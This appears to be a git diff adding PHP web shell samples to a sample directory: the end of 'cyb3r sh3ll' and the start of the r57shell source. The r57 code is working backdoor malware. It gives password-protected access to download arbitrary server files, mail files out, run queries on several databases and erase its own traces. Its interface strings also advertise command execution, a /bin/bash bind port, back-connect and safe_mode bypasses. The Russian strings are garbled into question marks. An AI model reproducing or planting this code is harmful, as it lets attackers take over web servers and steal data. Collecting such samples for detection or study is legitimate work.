+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". + +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". + +"AAA7", + +"ext_html"=> + +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". + +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". + +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". + +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". + +"ADs=", + +"ext_jpg"=> + +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". + +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". + +"FxEAOw==", + +"ext_js"=> + +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". + +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". + +"a00AjYYBbc/o9HjNniUAADs=", + +"ext_lnk"=> + +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". + +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". + +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". + +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". + +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". + +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". + +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". + +"ADs=", + +"ext_log"=> + +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". + +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", + +"ext_php"=> + +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". + +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", + +"ext_pl"=> + +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". + +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", + +"ext_swf"=> + +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". + +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". + +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". + +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". + +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", + +"ext_tar"=> + +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". + +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". + +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". + +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". + +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". + +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". + +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". + +"u4tLAgEAOw==", + +"ext_txt"=> + +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". + +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". + +"UpPWG3Ig6Hq/XmRjuZwkAAA7", + +"ext_wri"=> + +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". + +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", + +"ext_xml"=> + +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". + +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". + +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". + +"IQA7" + + ); + + //For simple size- and speed-optimization. + + $imgequals = array( + + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + + "ext_html"=>array("ext_html","ext_htm"), + + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + + "ext_lnk"=>array("ext_lnk","ext_url"), + + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + + "ext_doc"=>array("ext_doc","ext_dot"), + + "ext_js"=>array("ext_js","ext_vbs"), + + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + + "ext_wri"=>array("ext_wri","ext_rtf"), + + "ext_swf"=>array("ext_swf","ext_fla"), + + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + + ); + + if (!$getall) + + { + + header("Content-type: image/gif"); + + header("Cache-control: public"); + + header("Cache-control: max-age=".(60*60*24*7)); + + header("Last-Modified: ".date("r",filemtime(__FILE__))); + + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + + if (empty($images[$img])) {$img = "small_unk";} + + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + + echo base64_decode($images[$img]); + + } + + else + + { + + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} + + natsort($images); + + $k = array_keys($images); + + echo "
    "; + + foreach ($k as $u) {echo $u.":
    ";} + + echo "
    "; + + } + + exit; + +} + +?> + +
    + +
    (C) Copyright cyb3r 9l4d!470r [All rights reserved]
    Greetz to : r45c4l bro, r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot.
    --[ cyb3r sh3ll v. Coded by cyb3r 9l4d!470r (cyber gladiator) | h4cK2b0yZz.. | Generation time: ]--
    +
    + + + \ No newline at end of file diff --git a/data/samples/classic/r57.php b/data/samples/classic/r57.php new file mode 100644 index 0000000..accc1fa --- /dev/null +++ b/data/samples/classic/r57.php @@ -0,0 +1,2302 @@ +$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("r57shell : Access Denied"); + } +} +$head = ' + + +r57shell + + + +'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
    [ BACK ]
    "; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "Query#".$num." : ".htmlspecialchars($query)."
    "; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "
    Error : ".$error."

    "; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode(" 
     ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("  ",$values); + $sql2 .= " ".$values." "; + } + echo ""; + $sql = ""; + $sql .= $sql2; + echo $sql; + echo "
     ".$keys." 

    "; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "
    affected rows : ".$rows."

    "; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "
    Can't connect to MySQL server
    "; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "Query#".$num." : ".htmlspecialchars($query)."
    "; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode(" 
     ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("  ",$values); + $sql2 .= " ".$values." "; + } + echo ""; + $sql = ""; + $sql .= $sql2; + echo $sql; + echo "
     ".$keys." 

    "; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "
    affected rows : ".$rows."

    "; } else { echo "
    Error : ".$error."

    "; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "
    Can't connect to MSSQL server
    "; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "Query#".$num." : ".htmlspecialchars($query)."
    "; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "
    Error : ".$error."

    "; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode(" 
     ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("  ",$values); + $sql2 .= " ".$values." "; + } + echo ""; + $sql = ""; + $sql .= $sql2; + echo $sql; + echo "
     ".$keys." 

    "; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "
    affected rows : ".$rows."

    "; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "
    Can't connect to PostgreSQL server
    "; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "
    Can't connect to Oracle server.
    ".$error['message']."
    "; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "Query#".$num." : ".htmlspecialchars($query)."
    "; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "
    Error : ".$error['message']."

    "; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "
    affected rows : ".$rowcount."

    ";} + else { + echo ""; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } + echo ""; + while(ocifetch($stat)) + { + echo ""; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } + echo ""; + } + echo "
     ".htmlspecialchars(@ocicolumnname($stat, $j))." 
     ".htmlspecialchars(@ociresult($stat, $j))." 

    "; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "
    "; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "



    "; + echo "
    "; + echo "
    [ BACK ]
    "; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return 'no value'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '', true); + return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '', ''; + foreach (@ini_get_all() as $key=>$value) + { + $r .= ''; + } + echo $r; + echo '
    Directive
    Local Value
    Master Value
    '.ws(3).''.$key.'
    '.U_value($value['local_value']).'
    '.U_value($value['global_value']).'
    '; + } +echo "
    [ BACK ]
    "; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '
    CPU
    '; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= ''; + } + echo $r; + } + else + { + echo ''; + } + echo '
    '.ws(3).''.trim($info[0]).'
    '.trim($info[1]).'
    '.ws(3).'
    ---
    '; + echo "
    [ BACK ]
    "; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '
    MEMORY
    '; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= ''; + } + echo $r; + } + else + { + echo ''; + } + echo '
    '.ws(3).''.trim($info[0]).'
    '.trim($info[1]).'
    '.ws(3).'
    ---
    '; + echo "
    [ BACK ]
    "; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'???????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text77'=>'???????? ????????? ???? ??????', +'ru_text78'=>'?????????? ???????', +'ru_text79'=>'?????????? ???????', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>' New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', 